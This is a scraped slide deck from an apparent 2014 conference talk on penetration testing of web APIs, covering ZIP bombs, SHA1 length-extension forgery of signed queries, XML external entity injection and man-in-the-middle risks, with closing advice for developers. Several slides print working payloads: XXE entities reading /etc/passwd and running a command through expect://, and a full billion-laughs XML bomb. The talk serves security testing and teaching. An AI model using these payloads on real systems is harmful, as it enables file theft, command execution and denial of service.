The document discusses various techniques for hacking APIs, including bypassing restrictions, parameter tampering, ZIP bombs, length extension attacks, XML injection, and man-in-the-middle attacks. It provides examples of specific vulnerabilities in Facebook's API and recommends testing APIs for issues like XML external entity injection. The author advocates re-testing all interface restrictions and other potential vulnerabilities when securing an API.

1. Pentesting client/server API
Sergey Belov

2. $ whoami
© 2002—2014, Digital Security 2
• Senior Security Auditor at Digital Security
• BugHunter: Google, Yandex, Badoo, Yahoo +++
• Writer: habrahabr, ”Xakep” magazine
• CTF: DEFCON 2012 CTF Final, Chaos Construction
CTF’2013
• Speaker: CodeFest 2012, ZeroNights 0x03
• Trainer: Hack in Paris’2014, BlackHat’2014 USA (soon)

3. What we are talking about?
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API

4. What we are talking about?
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API

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From interface to API methods

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What we are should to test?
• Logic!
• Bypassing restrictions (sqli/xss)
• Parameter tampering
Developing
• Stop hacks and custom realization in API! Really

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ZIP

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42 kb….

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42 kb….
…10 GB?

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42 kb….
…10 GB?
…100 GB?

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42 kb….
…10 GB?
…100 GB?
…100 TB?

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42 kb….
…10 GB?
…100 GB?
…100 TB?
…4,5PB! http://www.unforgettable.dk/

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Say
HELLO
to
ZIP BOMB!

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Evil of javascript
and

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http://habrahabr.ru/post/186160/

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Crypto

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Query signing
Sign = sha*(…+DATA+…)
api key

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But why?

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Say hello again.
To length extension attack

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A=1&B=2&C=3
07ce36c769ae130708258fb5dfa3d37ca5a67514
TOKEN=sha1(KEY+DATA)

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Some has hijacked just 1 request…

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What attacker know?
• Original data
• Sign (token)

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What attacker want?
Change some data / change params

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A=1&B=2&C=3x80x00x00…x02&C=4

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Can sign new query without api key!
Vkontakte: sig = md5(name1=value1name2=value2api_secret)
Mail.RU sig = md5(uid + params + private_key)
http://www.vnsecurity.net/2010/03/codegate_challenge15_sha1_padding_attack

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Request hijacking…
How?

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XML? XML entities!

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DTD Example:
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright W3Schools.">
XML example:
<author>&writer;&copyright;</author>

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XML entities?
External Entity!

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<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM
"file:///etc/passwd" >]>
<foo>&xxe;</foo>

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<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM
“expect://id" >]>
<foo>&xxe;</foo>

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XML Bombs!

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<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz
(#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]>
<lolz>&lol9;</lolz>

52. What we are talking about?
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Man in the Middle

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Examples?

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2013-11-19 by Reginaldo Silva

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https://www.facebook.com/BugBounty/posts/778897822124446
http://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution

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Testing:
• https://www.owasp.org/index.php/Testing_for_XML_Injection_(OWASP-DV-008)
• XXE to RCE https://gist.github.com/joernchen/3623896
Development:
• Disable entities

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Finally:
• Re-test all interface restrictions;
• Specific compressions;
• JS callbacks;
• Crypto + SSL test + hardcoded credentials (hackapp.com);
• XML - XXE;
• Anything else :]

58. twitter.com/sergeybelove
sbelov@dsec.ru
© 2002—2014, Digital Security
Digital Security в Москве: (495) 223-07-86
Digital Security в Санкт-Петербурге: (812) 703-15-47
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Hacking via API
Thanks for your attention!
Questions?